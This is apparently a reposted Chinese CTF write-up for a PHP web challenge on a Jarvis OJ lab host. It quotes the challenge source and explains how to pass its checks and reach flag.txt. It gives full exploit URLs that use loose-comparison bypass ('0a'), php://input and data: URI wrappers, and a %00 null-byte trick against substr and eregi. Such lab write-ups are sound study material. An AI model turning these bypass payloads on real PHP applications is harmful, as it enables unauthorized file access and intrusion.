连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。
<?php error_reporting(0); echo "<!--index.phps-->"; if(!$_GET[‘id‘]) { header(‘Location: index.php?id=1‘); exit(); } $id=$_GET[‘id‘]; $a=$_GET[‘a‘]; $b=$_GET[‘b‘]; if(stripos($a,‘.‘)) { echo ‘Hahahahahaha‘; return ; } $data = file_get_contents($a,‘r‘); var_dump(eregi("111".substr($b,0,1),"1114")); var_dump(substr($b,0,1)!=4); var_dump($data=="1112 is a nice lab!" ); var_dump(strlen($b)>5); if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("flag.txt"); } else { print "work harder!harder!harder!"; } ?>
伪协议php://input ;在网上发现了一种新的解法记录一下data类型的Url格式:把小数据直接嵌入到Url中
弱类型绕过,0aaa
%00的绕过: strlen函数对%00不截断但substr截断
http://web.jarvisoj.com:32780/index.php?id=0a&a=php://input&b=%00411111a 1112 is a nice lab!
?id=0a&a=data:text/html:,1112+is+a+nice+lab!&b=%00411111a
原文:https://www.cnblogs.com/chrysanthemum/p/13871998.html